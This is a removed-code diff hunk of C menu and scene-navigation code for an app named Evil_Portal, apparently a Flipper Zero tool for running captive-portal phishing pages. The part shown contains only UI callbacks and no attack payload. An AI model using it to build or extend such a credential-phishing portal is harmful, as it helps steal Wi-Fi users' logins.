- app->focus_console_start = (item->focus_console == FOCUS_CONSOLE_TOGGLE) ?
- (selected_option_index == 0) :
- item->focus_console;
- app->show_stopscan_tip = item->show_stopscan_tip;
-
- view_dispatcher_send_custom_event(app->view_dispatcher, Evil_PortalEventStartConsole);
-}
-
-static void evil_portal_scene_start_var_list_change_callback(VariableItem* item) {
- furi_assert(item);
-
- Evil_PortalApp* app = variable_item_get_context(item);
- furi_assert(app);
-
- const Evil_PortalItem* menu_item = &items[app->selected_menu_index];
- uint8_t item_index = variable_item_get_current_value_index(item);
- furi_assert(item_index < menu_item->num_options_menu);
- variable_item_set_current_value_text(item, menu_item->options_menu[item_index]);
- app->selected_option_index[app->selected_menu_index] = item_index;
-}
-
-void evil_portal_scene_start_on_enter(void* context) {
- Evil_PortalApp* app = context;
- VariableItemList* var_item_list = app->var_item_list;
-
- variable_item_list_set_enter_callback(
- var_item_list, evil_portal_scene_start_var_list_enter_callback, app);
-
- VariableItem* item;
- for(int i = 0; i < NUM_MENU_ITEMS; ++i) {
- item = variable_item_list_add(
- var_item_list,
- items[i].item_string,
- items[i].num_options_menu,
- evil_portal_scene_start_var_list_change_callback,
- app);
- variable_item_set_current_value_index(item, app->selected_option_index[i]);
- variable_item_set_current_value_text(
- item, items[i].options_menu[app->selected_option_index[i]]);
- }
-
- variable_item_list_set_selected_item(
- var_item_list, scene_manager_get_scene_state(app->scene_manager, Evil_PortalSceneStart));
-
- view_dispatcher_switch_to_view(app->view_dispatcher, Evil_PortalAppViewVarItemList);
-}
-
-bool evil_portal_scene_start_on_event(void* context, SceneManagerEvent event) {
- UNUSED(context);
- Evil_PortalApp* app = context;
- bool consumed = false;
-
- if(event.type == SceneManagerEventTypeCustom) {
- if(event.event == Evil_PortalEventStartPortal) {
- scene_manager_set_scene_state(
- app->scene_manager, Evil_PortalSceneStart, app->selected_menu_index);
- scene_manager_next_scene(app->scene_manager, Evil_PortalAppViewStartPortal);
- } else if(event.event == Evil_PortalEventStartKeyboard) {
- scene_manager_set_scene_state(
- app->scene_manager, Evil_PortalSceneStart, app->selected_menu_index);
- } else if(event.event == Evil_PortalEventStartConsole) {
- scene_manager_set_scene_state(
- app->scene_manager, Evil_PortalSceneStart, app->selected_menu_index);
- scene_manager_next_scene(app->scene_manager, Evil_PortalAppViewConsoleOutput);
- }
- consumed = true;
- } else if(event.type == SceneManagerEventTypeTick) {
- app->selected_menu_index = variable_item_list_get_selected_item_index(app->var_item_list);
- consumed = true;
- }
-
- return consumed;
-}
-
-void evil_portal_scene_start_on_exit(void* context) {
- Evil_PortalApp* app = context;
- variable_item_list_reset(app->var_item_list);
-}